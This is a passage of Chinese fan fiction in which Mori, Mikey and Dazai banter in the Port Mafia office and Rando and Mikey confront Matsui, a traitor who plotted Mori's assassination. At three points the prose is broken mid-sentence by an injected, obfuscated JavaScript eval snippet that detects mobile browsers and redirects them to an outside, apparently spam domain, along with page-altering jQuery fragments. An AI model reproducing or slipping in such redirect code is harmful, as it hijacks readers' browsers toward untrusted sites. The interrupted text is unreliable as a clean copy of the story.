“对什么对,森亲根本就没听。” 森鸥外说:“听了听了。” “那我刚才说了什么?” “中午想吃鲷鱼烧?”森鸥外猜测,随后立刻否决,“点心不能当饭吃,而且不可以吃太多甜食,对身体不好。” 佐野万次郎一拍桌子:“才不是!” 办公桌上的咖啡杯差点被他一掌拍翻,还好里面已经没有咖啡,不然桌子上的文件就要遭殃了。 森鸥外不动声色地把椅子往后面移了移。 本来以为他家孩子最大的烦恼就是甜食摄入超标,和红叶小姐吵架也是被控制不许多吃最喜欢的日式点心,没想到完全错了。 孩子闹起脾气来一时半会儿结束不了,森鸥外朝大佐摆了摆手,示意他退下。 大佐将手放在胸前,朝森鸥外鞠躬。 他走之前摸了摸佐野万次郎的头,得到了对方“不要摸我头”的反应后,笑着走出了房间。 为了平息佐野万次郎的怒火,森鸥外答应给他买十个鲷鱼烧,这才让他消了气。 十个鲷鱼烧是一次性兑现还是分开兑现,刚谈拢还没有过多久,他们在细节方面起了争执。 就在这时,首领办公室的门又打开了。 披着黑色外衣,一只眼睛用绷带缠起来的少年随意地走了进来,用拖长了的慢悠悠的语气说。 “森先生,早上好,听说你昨天去快餐厅吃饭遇到了好玩的事,真有趣呢——” 9.太宰 “早上好,太宰君,今天你很有精神呢。”森鸥外把脸转向少年所在的方向,先是笑了笑,然后叹了一口气,“昨天可不是什么有趣的经历,当时的情况很危险,我差一点就不能再一次和太宰君见面了。” 少年一脸无所谓,“我倒是没关系,听起来好像是好事。” “好事?” “森先生就这么死掉什么的。” 森鸥外脸上挂起了熟悉的微笑,他像看一个不懂事的孩子那样看着少年,“太宰君,这么说就算是我也会受伤啊。” 少年眼神无辜地说:“森先生在说我听不懂的话,为什么会受伤?我明明是在给森先生送上祝福。” “祝愿我去死也算是祝福吗?”森鸥外微笑着问。 “那当然了,死亡是对生活在这个世界上的人类最好的祝福。”少年也微笑着回答他,“人从出生在这个世界上开始,就没办法决定自己的人生。没人问过母亲肚子里的胎儿愿不愿意出生在这个世界上,他们的想法根本不被考虑,父母把自己的意志凌驾于孩子身上,每个人出生的那一刻开始就是父母感情的寄托,是和自己有最亲密血缘关系的人的提线人偶。” 森鸥外强撑着脸上的笑容,没有打断他长篇大论的问题发言。 走进来的少年有一头蓬起来的黑发,右边的眼睛拿绷带绑了起来,虽然脸上在笑,露在外面的那只眼睛却毫无笑意。 他披着对他而言有些宽大的外衣,皮肤白得毫无血色,像从黑暗中爬出来的幽灵。 少年和森鸥外毫无关系。 他和受到森鸥外监护的佐野万次郎不同,既不是森鸥外的亲戚,也不是森鸥外的学生,更不是森鸥外的下属。 连港口黑手党的成员都不是。 可他却能像走进街边的便利店那样平常地走进港口黑手党首领的办公室,和森鸥外进行对话。 少年的名字是太宰治。 太宰治踩在房间红色的地毯上,走起路来像猫一般没有声音。 他一边往房间的中央走去,一边用仿佛舞台剧演员在舞台上表演自画像的语气说道:“父母曾经是他们父母的提线人偶,他们的父母在他们的四肢上绑上透明的丝线,牵引着他们长大,让他们过着和自己毫无区别的人生,上学、结婚、生子。这样生下的孩子理所当然的也是提线人偶,父母在孩子身上延续着他们的人生,希望孩子踩着他们走过的路走到他们不曾抵达过的地方,而他们趴在孩子身上期待着路上未知的风景,简直就像是寄生虫。孩子没有选择的权利,只是在为自己以外的人而活下去,不是很可怜吗?” 太宰治用异常灿烂的笑容说:“我认为只有死亡,才是人类从这个世界上解脱的唯一方法。” 森鸥外静静地看着他的笑脸。 太宰治用裸露在绷带外面的那只鸢色的眼睛和他对视。 许久之后,森鸥外败下阵来,实在没办法地说道:“太宰君,谢谢你分享的观点,感觉学到了很多……今天来找我只是为了说这个?” 太宰治摇头:“我是来安慰森先生的,错过了能轻松死掉的机会,想着森先生一定很伤心,所以过来看看。” 森鸥外无奈地说:“抱歉让你失望了。” “就是说啊!”太宰治愤愤不平道,“森先生浪费了这么好的机会,换了我的话肯定会抓紧,当时出现在快餐店的怎么不是我呢?” 森鸥外看向房间里的另一个人,“大概是因为太宰君发过誓一辈子都不会走进买儿童套餐的快餐店吧。” 他突然想起了什么,“话说回来,太宰君是怎么知道快餐店的事的?” 除去收到隐秘命令去处理这件事情的下属,森鸥外没有告诉过别人。 佐野万次郎也不是会把这件事情到处说的人。 太宰治从口袋里取出一部手机,打开相册,举到他面前,“因为这个。” 森鸥外看着他手机里的照片,那是一张网络账号推文的截图。 “‘政治界的偶像——山本阳太卷入杀人事件,其妻子面容首次曝光’,”他念出上面的文字,又看了看推文的配图,“还拍到了照片,现在的记者真是不得了。” 太宰治指着照片里侧对镜头露出半张脸的男人,“这个大叔就是森先生对吧?” 森鸥外关注点在别的地方,“太宰君,叫我大叔是不是有点过分?” 太宰治收起手机,“森先生有的时候还挺麻烦。” “这才不是麻烦……” “就是麻烦,”太宰治带着孩童的天然说,“无论从哪一点出发,森先生都是大叔,为什么不承认自己是大叔呢?” ——孩子没办法理解大人的心情。 ——特别是未成年,正处在青春期的孩子,更不能理解大人为何相当在意关于年龄的称呼。 森鸥外哭丧着脸,抬头注视着说他是大叔的少年,“那个,太宰君——” “发出这篇报道的账号归属于横滨有名的三流杂志社,最喜欢报道政治家的丑闻,编造艺人的谣言,借此博取读者的关注。” 太宰治不理他,像一台铲平房屋的挖掘机那样强硬地推动话题,“在网络上用模棱两可的文字和配图为新发售的杂志预热是他们的常用手段。记者真正想拍的是那个政治界的偶像,森先生完全被牵连了,不过照片拍得还算不错。” “拍得不错吗?”森鸥外没仔细看。 “对,”太宰治脸上浮现出笑容,“森先生看起来比那什么政治界偶像更上镜。” 听到他的话,森鸥外顿时恢复成了平常的笑脸。 “说不定我也有当偶像的才能。” 太宰治震惊:“……森先生是认真的?” 森鸥外比他更震惊:“太宰君,不是你说我更上镜吗?” “先不要谈论这个话题了,”太宰治在他的注视下心虚地别过眼,“森先生对自己的照片即将要上杂志怎么看?” 森鸥外托着下巴,苦恼道:“没有经过允许,这是在侵犯我的肖像权吧。” “发现这个账号的配图之后,我已经叫人联系杂志社把推文删掉,所以森先生你可以放心,你的肖像权暂时没有受到伤害。”太宰治回忆了发生的事,“原本我想找杂志社的社长聊聊,不过有人提前跟他打了招呼,预告的内容从杂志里面删除了,准备发售的新一期杂志被打回去延期制作——” “翔太的爸爸先生那边出手了吧。翔太说,他爸爸不希望他和妈妈出现在大众面前。” 佐野万次郎听他们讨论了半天,觉得无聊,于是开口说道。 太宰治像才察觉到房间里还有一个人,他慢慢转过身,用一般人看了一定会生气的眼神上下打量着佐野万次郎。 “我还以为是哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078440|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑出来的小学生呢,刚想问森先生是不是把办公室改造成了托儿所,”他语气夸张地说,“原来是Mikey君。” 佐野万次郎压抑着翻涌的情绪,尽量平静地喊出他的名字:“太宰。” 太宰治一点都不领情,依旧用夸张的语调说:“啊,Mikey君最近有好好吃饭吗,是不是又缩水了,太小了走进来差点没看到。” 佐野万次郎:“……喂。” 太宰治歪头道:“儿童频道电视节目要开播了哦,小学生最喜欢的节目,Mikey君应该也喜欢,不赶回去看吗?” 佐野万次郎压低声音,瞪着他:“一大早你就要找茬?” “Mikey君才是,”太宰治说,“一大早就要朝人发脾气?” “谁叫你先挑衅啊!” “我只是实话实说。” “你刚才一直说恶心的话,我忍了你很久,你到底对别人的父母有什么不满!” “又没有让Mikey君听。” 两个人用嫌弃的目光看着对方。 森鸥外笑眯眯地看着他们两个人,感叹道:“你们俩关系还是这么好。” 两人异口同声:“才不好!” 他们两个用更嫌弃的目光看着对方。 佐野万次郎径直往门口走去,“够了,一天的好心情都毁了,我要回去!” 森鸥外在他身后追问,“回哪里?” 佐野万次郎转过头回答:“回家!反正不要和这个家伙待在一起!” 太宰治悠悠地开口:“我才要说这种话呢。” “太宰君,你少说两句,”森鸥外不放心地说,“Mikey君,不要乱跑到陌生的地方去,出门一定要多带几个人,还有午饭不能光吃点心……” “森亲好烦!” 佐野万次郎怒气冲冲地走了。 看着他消失在门口,太宰治露出了心满意足的表情。 森鸥外笑着提建议,“太宰君,偶尔不要用会惹Mikey君说话的语气和他说话吧?” 太宰治不听,他捂住耳朵,“我和长相幼稚喜欢发脾气的小矮子合不来。” “会吗?我觉得你们相处的挺好的。” “森先生是不是老年痴呆了。” 森鸥外无视他的嘲讽,“正好,”他从抽屉里抽出一张纸片,拿起笔在上面写字,“我有一件事想拜托你。” 太宰治警惕地看着他,往后退:“我不干,反正肯定又是麻烦的事。” 森鸥外哄他,“不麻烦,是很简单的事,但是只能拜托给你。” 太宰治奇怪地问:“Mikey君不行吗?” 森鸥外突然停笔。 纸上的文字写到一半,因为他突然停下,笔尖停顿的地方晕染上了墨迹。 太宰治察觉到他的不对劲,继续问:“不能让Mikey君知道?” 森鸥外没有回答,他撕掉了那张纸,从抽屉里抽出新的白纸,重新开始写字。 太宰治站在他的对面等待着他。 这一次森鸥外没有出错,他把写上几行文字的纸递给太宰治,笑眯眯地说。 “不是什么重要的事,不过,最好不要让Mikey君知道。” “诶,这样啊。” 太宰治接过那张银白色的纸,看着上面的文字,点了点头。 10.第十章 佐野万次郎如同散步一般地在港口黑手党大楼里走着。 没人会拦着他,也没人敢阻拦他。不仅因为他是现任首领的亲信,更因为在现任首领没有继承位置之前,他就已经在黑手党中地位非凡。 虽然说了要回去,可是回去也只是待在公寓的房间里打游戏,未免太无聊了点。 佐野万次郎想找点更有意思的事情做。 本来打算拉着监护人森鸥外陪他,有空的时候可以向森鸥外传教《假面战队》,这样下次还有主题餐厅联动活动就能带上爱丽丝一起去。 可惜森鸥外被工作折磨得奄奄一息,感觉下一秒灵魂就要从头顶上飞出去了,看来昨天丢下工作陪他一起出门已经是极限。 站在一个组织的顶点是那么辛苦的事吗?看着森鸥外黑眼圈越来越重,每天唉声叹气的样子,佐野万次郎都快对这份工作产生阴影了。 不过要是他坐在森鸥外如今的位置上,肯定不会像森鸥外那样管那么多,依照他的想法,工作全部交给下属,他只要坐在boss的位置上发号施令。 说给讨人厌的太宰治听,那个人一定会用让人火大的语气说他的想法太天真了,当上首领会被属下架空。 ——果然太宰就是很讨厌! 脑袋里幻想出太宰治会有的反应,佐野万次郎就生气。他自认为不算脾气很烂的人,所以一定不是他的错,全部都是太宰治的错。 今天也是因为他,心情才会这么差劲。 正这么想,佐野万次郎突然看见前面的房间,有人出来了。 出来的人穿着统一的黑色西装,配备着一样的武器,整齐地从那个房间里走了出来。 大概是哪个手下的部队刚开完会要出去做任务吧。佐野万次郎看了一眼就没兴趣再看,他今天不高兴,不想工作。 森鸥外基本上所有的事都会依着他,对于佐野万次郎一心情不好就不想工作的毛病,也都会依着他的脾气,任由他想怎么做就怎么做。 从看起来像会议室的房间走出来的黑手党,在出门之后分成了两排,中间留出空隙,最后从会议室里走出来的人就从他们留出的空隙走到了最前面。 “出发吧。” 站在他们的前面,统领着部队的人说。 那是一个佐野万次郎十分熟悉的青年。 微微卷曲的黑色长发,一张明显不属于日本人的脸,橄榄石一般颜色的眼睛,虽然样貌美丽而高雅,但却是港口黑手党里出了名的怪人。 青年一年四季都穿着保暖的大衣,用耳罩和围巾把自己紧紧包裹住,即便如此,他还时常表现出很冷的样子。 要知道他生活的地方不是北极,而是由亚热带季风气候和温带季风气候组成的日本。而且港口黑手党的本部也没有设立在日本的北海道,而是设立在横滨,这座冬季最低气温都极少跌破零度的城市。 上个月刚进入秋季,夏天带来的余热还没有消散。 佐野万次郎穿着单层的卫衣,昨天晚上还开了电风扇才睡着。 青年打扮得好像要去北海道过冬的人,真的不热吗? 心中带着这样的疑惑,他扑了上去,搂住青年的脖子,发出“哈!”的一声。 本以为能够吓到青年,结果那个人被他搂住,只是淡定地站在那里等他放开,然后转过身。 “Mikey君,早上好。” 他平静地看着佐野万次郎,打了声招呼。 ———— 佐野万次郎跟出去执行任务的部队一同坐上车。 他和部队的统领者,港口黑手党的准干部兰堂坐在一辆车上,除了他们两个人,车上仅有一名司机。 佐野万次郎和兰堂都坐在后排,兰堂抓起他的一缕金发,分成几份,熟练地编出了一个三股辫,接着把它别到脑后,和其他头发一起用皮筋扎成了一个小揪揪。 摸着后脑勺总算整齐了的头发,佐野万次郎感受到了什么是惊喜。 “兰堂,没想到你擅长帮别人绑头发,梳得比森亲都好,他天天拿爱丽丝练手,技术没有一点进步。”佐野万次郎晃了晃脑袋,小揪揪随着他的动作一晃一晃。 兰堂思考了一下,说:“我好像以前有给某个人做过这件事。” 佐野万次郎意外地看着他,“绑头发吗?” 兰堂用极小的幅度点了点头,“摸到Mikey君的头发想起来的,那个人也是金发的孩子。” 佐野万次郎猜测道:“你会给他绑头发,一定是非常亲密的关系吧,难道是家人?” “不知道,”兰堂平静地像是在说别人的事,“只是想起了这个画面。” 佐野万次郎放下摸着头发的手,感叹道:“只想起来了这么一点,要是能全部想起来就好了。” 兰堂不确定地问:“会有那一天吗?” “肯定会有的。”佐野万次郎确定地说。 从长相上也能看出,兰堂不是日本人。 他是从哪个国家来的,有没有亲人和朋友,成为黑手党之前都做着什么……全都不知道。 因为他失忆了。 不是在主妇爱看的爱情电视剧里,现实中居然能捡到失忆的外国人,简直是不能想象的事。认识兰堂之前,佐野万次郎一直认为电视剧的情节都是骗人。 现在他相信了,可是直到现在他也没捡到过外国人。 兰堂不记得自己是因为什么来的日本,他倒在路边,路过的港口黑手党成员捡到他,于是醒来的他顺势加入了港口黑手党。 他是港口黑手党里资历很老的成员,加入港口黑手党为前代首领效力的时候,佐野万次郎和森鸥外还不知道在世界的哪个角落。 兰堂看着是个总是因为寒冷瑟瑟发抖,不怎么靠谱的男人,但他的工作能力很优秀,异能力也很强。 前代时期兰堂一直是默默无闻的底层成员,做着可有可无的工作,干部是他摸也摸不到的职位。直到一年前森鸥外上位,他得到提拔,几次任务后飞速坐上准干部的位置,离正式成为干部也不远了。 现在占着港口黑手党干部位置的人都是前代首领时期设立的干部,不确定他们抱有怎样的心思,会不会在关键时刻反水,森鸥外迫切想培养自己的人手,兰堂就是他想培养的其中之一。 兰堂对权力不感兴趣,可他想要回报收留了他的港口黑手党,所以每次都认真做着森鸥外交给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16101089|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的工作。 因为他那认真的态度,兰堂可悲地被以前的同伴,一批不认同森鸥外继承首领位置的“前代派”打成了“森派”。 失去记忆的人都会对自己失去的记忆充满好奇。 兰堂一直在试图找寻失去的记忆,却始终没有找到有关于以前的线索。 他就像是凭空出现在横滨的人,外界的一切都和他没有关系。 “就算想不起来也没关系,现在记得就好了。” 佐野万次郎看到他为记忆困扰的表情,露出笑容安慰道。 看到他的笑容,兰堂脸上也浮现了淡淡的微笑。 “现在的事,我都有牢牢地记住。” “那森亲上次走在路上滑了一跤,让你忘掉的那件事情,你还记得吗?” “首领让我忘记的我会忘记。” 车子通过十字路口,平稳地驶入另一条路。 佐野万次郎看着路上的车越来越少,才想起来问:“兰堂,你们要去干什么?” 兰堂回答道:“首领交代了一个任务,去处理组织的叛徒。” “叛徒?” “Mikey君,你和首领昨天在快餐厅遭遇了暗杀,收到首领发来的消息,港口黑手党处理掉了那名杀手,他的尸体则是由警方回收。”兰堂解释道,“杀手虽然被处理掉了,杀手事件的背后指使者还好好地活着,首领命令我把指使者也一并处理掉。” 佐野万次郎明白了,“原来是这样。” 他不满道:“森亲干嘛不告诉我,那个人害我的《假面战队》海报被碎玻璃划烂了,我也在生气呢。” “首领大概是不想你为难。” 兰堂有些犹豫地说道。 佐野万次郎疑惑地看向他,他犹豫了片刻,最后还是说了。 “指使者是港口黑手党高层中,平常很关照你的松井先生。” 佐野万次郎顿时沉默了下来。 他收起了脸上的笑容,黑色的眼睛直直盯着前方座椅的靠背,让人看不出目前的情绪。 车内的空气仿佛都因为这一句话而凝固住。 “原来是他想要杀森亲啊。”过了一会,佐野万次郎淡淡地说道。 “首领说,快餐店联动的事情是松井先生告诉你的?” “嗯,他路过那家店,看到外面的立牌,拍照发给了我,还以为他是好心。” “松井先生一开始不是故意的,毕竟他的目标只有首领。” 兰堂察觉到他的情绪,用平缓的语调说:“Mikey君,拍照的时候他不能确定首领会跟你一起去,所以那个时候是出于好心。只是后来知道了首领和你一起出门,觉得是个好机会,才会在那一天动手。” 佐野万次郎用手托着脸,一脸郁闷。 兰堂小心地观察着他的表情,温声道:“Mikey君,首领不告诉你,就是不希望你露出这样的表情。” “别把森亲说得那么体贴,”佐野万次郎说,“说不定是怕我提前通风报信。” 兰堂关心地说:“如果为难的话,可以不去的。” 佐野万次郎看了他一眼,闹别扭似的撇过脑袋,说:“我要去。” 11.第十一章 那是一座占地面积广阔的西式风格宅邸。 宅邸的后方是茂密的森林,前方靠近公路,公路的对面是一片居民区。高高竖起的围墙把两边分隔开,就算过路的人再怎么抬起头去望,也只能看到高出围墙的绿色树顶。 正前方的铁门是进入宅邸的唯一通道,穿过花园,走上台阶,一栋两层的楼房被树林和庭院包裹在中间。 楼房墙壁由红色的小块砖石组成,屋顶则是灰色的,四周都是长方形的窗户,想必屋内的采光一定很好。最顶上的是壁炉的排烟管道,目前不是需要使用壁炉的季节,所以烟囱里没有飘出白色的烟雾。 楼房旁边种着一棵很大的树,可惜叶子都掉光了,只剩下空无一物的枝干向外延伸。 有些地方不难看出岁月的痕迹,但总体上是一栋非常美丽的建筑。 宅邸建成于大正时期,以前属于一位富豪,后来富豪家中突逢变故,就把宅邸卖给了银行。十年前,有人从银行手中买下了这座空置的宅邸,将整座宅邸翻新,住了进去。 房子里的装饰比外面更加豪华,整体是复古的色调,墙壁和木地板都选用了褐色,沙发和地毯是更深一点的颜色。 客厅的顶上挂着一盏巨大的水晶吊灯。 因为是白天,客厅的光线正好,不开灯也可以,所以那东西只是漂亮的装饰。 餐厅对外的两面墙壁用玻璃门代替,坐在餐桌上用餐时,能一边用餐一边欣赏花园的景色。 靠近里面的地方装着壁炉,壁炉上方挂着名家的画作,大约有两米长,懂行的人能看出画的价值。不过佐野万次郎看不懂为什么要挂不穿衣服的人在墙上,他也不关心,所以他只是坐在餐厅桌子的主位上,等着女仆送上今天的早餐。 没有等多久,一份蜂蜜松饼搭配红茶的早餐就送到了他面前。 佐野万次郎拿起餐盘上的刀叉,切开那块松饼。 过量的蜂蜜随着他的动作从松饼的顶上流了下来,流到盘子上。 餐桌左边隔了一个人的位置,坐着一个灰发的男人,他穿着浴袍,头发还是湿的,像是刚刚起床洗完澡,还没来得及收拾自己就被拉到这里。 男人闭着眼睛,一副心神不宁的样子。 女仆为男人倒上红茶,端着茶壶和茶杯走到了另一边,给坐在男人对面位置的客人倒茶。 客人在她倒完茶后轻声感谢了她。 他不顾茶杯表面烫手的温度,两只手捧起那杯滚烫的红茶,吹都没吹地喝了一口,随后问道:“这座房子,真是冷呢……女仆小姐,可以把壁炉的火生起来吗?” “现在生壁炉?”现在可是初秋啊。 女仆诧异地问,在初秋的气候中穿着冬季保暖衣服的客人点头,又喝了一口冒热气的红茶。 “拜托你了。” 女仆弯腰道:“请您别这么说,我这就去做。” 准备去泡红茶的时候也是这位客人提出要求,希望茶水更热一点,女仆才端上了滚烫的红茶。 真的没问题吗?虽然这样想着,可宅邸主人坐在椅子上一句话都不说,女仆还是依照了客人的想法来办事。 她点燃了客厅的壁炉,往里面扔进木材,确保壁炉的燃烧能够持续一段时间,于是回到原岗位。 足够容纳数十人的餐桌上只坐着他们三个人。 女仆在宅邸工作了两年,不算新人。她的主人做着很挣钱的工作,不然也不会有钱买下这座价值千万的房子。 主位的少年和主人的关系不错,在她工作的两年期间,来宅邸做过五次客。主人一般不邀请别人到家里来,所以她记得比较清楚。 另一名客人她没有见过,这还是第一次来。 女仆手中捧着托盘,安静地退到一边。 佐野万次郎叉起切成小块的松饼,送入口中。 “好吃。” 他一边说着一边又叉起一块,没注意脸上蹭到了蜂蜜。 看到兰堂一直往这边看,佐野万次郎误以为他也想吃,大方地把叉子上的松饼送到他面前,说道:“啊——” 兰堂捧着茶杯,没有接受他的好意,而是给他泼冷水,“Mikey君,首领说你不能吃太多甜食。” 佐野万次郎收回手,一口咬掉叉子上的松饼,边咀嚼边说:“森亲说的是不能当点心吃,早餐的话没关系吧?” “Mikey君,你这是在偷换概念哦。” 佐野万次郎放下餐具,一脸正色:“为了达到目的,无论使用怎样的手段都是可以被原谅的。” “首领的教导用在这里?” 兰堂微微蹙眉,“而且,上面的蜂蜜是不是太多了。” “我觉得还好,”佐野万次郎插起餐盘边上沾满蜂蜜的红色水果,“蜂蜜和水果对身体都有好处,电视上有说过。” 兰堂不否认,“是这样没错。” 佐野万次郎一口吃掉蜂蜜草莓,满足地说:“那就没有问题。” 佐野万次郎平常吃得最多,最喜欢的是日式的点心,比如鲷鱼烧,吃多少都不会腻。但只要是甜的点心他都喜欢,松饼蛋糕之类的也能接受。 他创下的最高纪录是一天吃了三十只鲷鱼烧,把点心当做正餐,吃完饱到吃不下饭。在最高记录以前森鸥外没管过他吃点心,最高记录之后那人认为不管控他不行,叫人看着他,一个星期点心的摄入量不能超过十个。 本星期的摄入量早就超标了,不趁现在多吃点,回去之后哪还能随心所欲地吃。 兰堂被他的逻辑绕进去,想反驳没找到话。 这时,外面的一阵风从打开的玻璃门吹进餐厅,他抱紧了胳膊,忘记了原先的话题,忙着请求女仆再把壁炉的火烧得大一些。 壁炉的木材发出燃烧的噼里啪啦声。 宅邸真正的主人沉默着,坐在位置上一动不动。 他面前的茶杯没有再往上飘散热气。 和他一同坐在餐桌上的两个人能轻松地展开对话,他却没办法加入进去。 男人握住茶杯的把手,想喝一口杯中的红茶,让自己镇定下来。 他一拿起茶杯,里面的茶水就溅到了他的手指上。 男人拿着茶杯的手在颤抖。 发现怎么都控制不了自己颤抖的手,他放下茶杯,脸上表现地若无其事,心脏怦怦直跳。 他清楚眼前两位不请自来的客人此番前来的目的,恐怕是哪里露出了破绽。他的确策划了一起对森鸥外的暗杀,这在港口黑手党里是死罪,可是他不能承认,一旦承认就真的什么都没有了。 港口黑手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113776|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 党背地里对森鸥外坐上首领位置不满的人不止他一个,首领更替的事没办法改变,他们表面上接受了这个结果,实际无法认同坐在首领位置上的人。 男人是前代首领时期掌握了权力的人,一直支持着前代首领。不管是前期聪慧英明,带领港口黑手党扩大版图的前代首领,还是后期因为年龄的增加和身体上的病痛躺在床上,变得敏感而残暴的前代首领,他都一直支持着。 港口黑手党能有今天的规模,全部都是前任首领的功劳,他坚信着。 男人不是不能接受前任首领以外的人接手港口黑手党,他也没有觊觎那个位置的心思。自己和前任首领差得远了,不足以支撑起港口黑手党前行,他都知道。 他只是单纯不相信前任首领会把位置交到森鸥外手中。 男人放在膝盖上的手抓紧了浴袍的下摆。 森鸥外是什么人? 从第一次在前任首领身边看到他时,就感觉是无法信任的人。 他顶着私人医生的身份,接近病重的前任首领,占据了首领身边最近的位置,把他们这些下属挤到一边。 前任首领死去的那一天,现场只有森鸥外和一名少年。 他们两个说出了相同的话。 (前任首领因病去世,死前留下遗言,由森鸥外继承首领的位置。) 森鸥外不值得信任,少年说出的话又有多少可信度? 男人才不管名叫太宰治的少年和港口黑手党有多少纠葛,以前还在前任首领身边待过一段时间。 他想杀了森鸥外,他一定要杀杀了森鸥外。 但是至今为止,包括他在内的前代派对森鸥外的暗杀都失败了。 他会迎来和其他人相同的结局吗? 男人不甘心。 外面很安静,安静到听不见鸟叫,反而不寻常。 这两个人进来时没有下人通报,安排在宅邸的守卫可能都已经死了。 就算那些人没有死,港口黑手党的准干部,背叛到森鸥外手下的兰堂在这里,他们也派不上用场。 悬挂在他头顶的剑是时候落下了吧。 还有什么别的方法。 能够活下去的方法。 思绪乱成一团,他猛地睁开眼睛,看向餐桌主位上的金发少年。 一名黑西装的Mafia从客厅走来,敲了敲餐厅打开的门,走到兰堂的身边,在他耳边低声说着话。 兰堂的表情一下变得严肃起来,身上的气势和刚才判若两人。 “松井先生,沉默解决不了问题,”他的话语中不带任何感情,“对首领下手的那一刻,你应该猜到会有今天,还有什么遗言吗?” 男人无视了兰堂温柔却冰冷的声音。 他只是看着佐野万次郎。 能够活下去的方法,只有抓住眼前的这个人。 如果能让他相信自己。 自己一定有办法活下去。 佐野万次郎专心吃着松饼,头也不抬,好像外界的一切都跟他没关系。 “Mikey君,我是为了你好啊,森鸥外死掉的话,对你更有好处。” 男人双眼紧紧盯着佐野万次郎的脸,颤抖着、像是溺水的人抓住了浮木一般开口说道:“如果是你,肯定能理解我吧?” 12.第十二章 “森鸥外在你面前说了我的坏话对不对?他肯定说我在利用你,把你当成钓鱼的饵料,吸引他上钩。”他紧紧盯着佐野万次郎,说:“Mikey君,那个男人最擅长用花言巧语迷惑别人,快餐店的事,我可以解释。” 佐野万次郎低着头,拿叉子在餐盘里戳来戳去,没理睬他。 男人并不气馁,他将身体往前探,像是想离佐野万次郎更近一些,“最开始看到快餐店的宣传,我单纯想要分享给你看,因为我记得,你最喜欢看那个电视剧了。”他的表情不像在说谎,“得知森鸥外会和你一起去快餐店,我才想到这或许是个机会,谁叫他最近一直躲在办公室,像只遇到危险就缩进壳里的乌龟。我只是想杀他,没有想牵连你,让你不高兴了真的很抱歉。” 佐野万次郎还是没有理睬他,就像听不见他说话。 “森鸥外不该坐上首领的位置,谁知道他使了什么手段,让前代留下传位于他的遗言。不,不对,谁又能保证这份遗言是真的?前代死的那一天只有他和那个小鬼在,他们两个串通在一起,杀死前代伪造了遗言也说不定!” 男人越说越激动,几乎要从椅子上站起来,好像刚才所说的一切不是他的猜测,而是他亲眼见到的。 “我绝对不会相信森鸥外的话,Mikey君,你也不要相信他,他只是在你面前装好人。实际上森鸥外不仅害了前代,还夺走了你的一切。” 吃着松饼的佐野万次郎闻言,终于有了反应,他奇怪地看向男人,问道:“夺走了我的一切?” 男人以为他被说动了,迫不及待地说道:“没错!” 他觉得自己目前的情绪太急切了,捂住嘴咳嗽了两声,同时尽量让自己表面上变得平静。 同样的话,从一个冷静的人和一个疯子嘴里说出来的效果截然不同。 男人找出平常说话的感觉,挤出一抹微笑,“Mikey君,你知道吗,前代一直很喜欢你。” 佐野万次郎咬着叉子想了想,“有吗?” “有的!”男人说,“他在很多人面前夸过你,允许你自由进出港口黑手党,还放任你和黑手党的干部接触,甚至命令手底下的人,见到你要想见到干部一样尊重……” 他的声音低了下去。 想到死去的前任首领,不免让他的内心有些受伤。 男人与前任首领相识的时间太久了,加入黑手党的时候,他还是个毛头小子,前任首领已经是首领。得到那个人的提拔和信赖,他才能一步步走到今天。 一切的一切,都是那个人给予的。 所以他不能接受,继承了首领位置的人,不是那个人心中的人选。 “每次一提到你,我都能看出,前代非常高兴。就算是后面躺在病床上,意识清醒的时候,他也会向我们这些信任的下属提起你。最重要的是,前代对我说过,他从第一眼见到你开始,就认为——” 男人一字一顿地说道:“你有作为领导者的气度。” 佐野万次郎一只手托着脸,一只手把玩着手上的叉子,他看起来并不惊讶,也没有对这句话发表意见。 兰堂却在听到这句话后看了佐野万次郎一眼。 餐桌上的两个人都没有打断男人的发言。 男人因为紧张喉咙干涩,声音也变得嘶哑起来。 可他摸了摸脖子,没有去碰桌上的红茶。他没有悠闲喝茶的时间,一定要在佐野万次郎愿意听的时候把话说完。 男人和佐野万次郎认识了将近三年,他平常很照顾这个孩子,所以了解佐野万次郎。 对于不感兴趣的人说出的不感兴趣的话,佐野万次郎是不会听的。没有阻止他说下去,那就说明佐野万次郎愿意听他说的这些话。 “前代年轻时独自在外面闯荡,他去过不少地方,见过无数的人。后来当上黑手党的首领,更是怎样的人都接触过。” 男人脸上出现了笑容,“Mikey君,和你相同年龄的孩子,前代见过无数个。但是他说,只有在见到你的时候,他的脑子里才出现了‘这孩子是天生的领导者’的想法。” 他一边说一边暗中观察佐野万次郎的表情,令他失望的是,佐野万次郎从刚才开始就没改变过表情,始终是一脸平淡的模样。 见他如此,男人放缓了语调,轻声说道:“成为领导者最重要的不是头脑或者武力,而是气场,是能够让人跟随的气场。Mikey君,你有成为领导者的才能。” 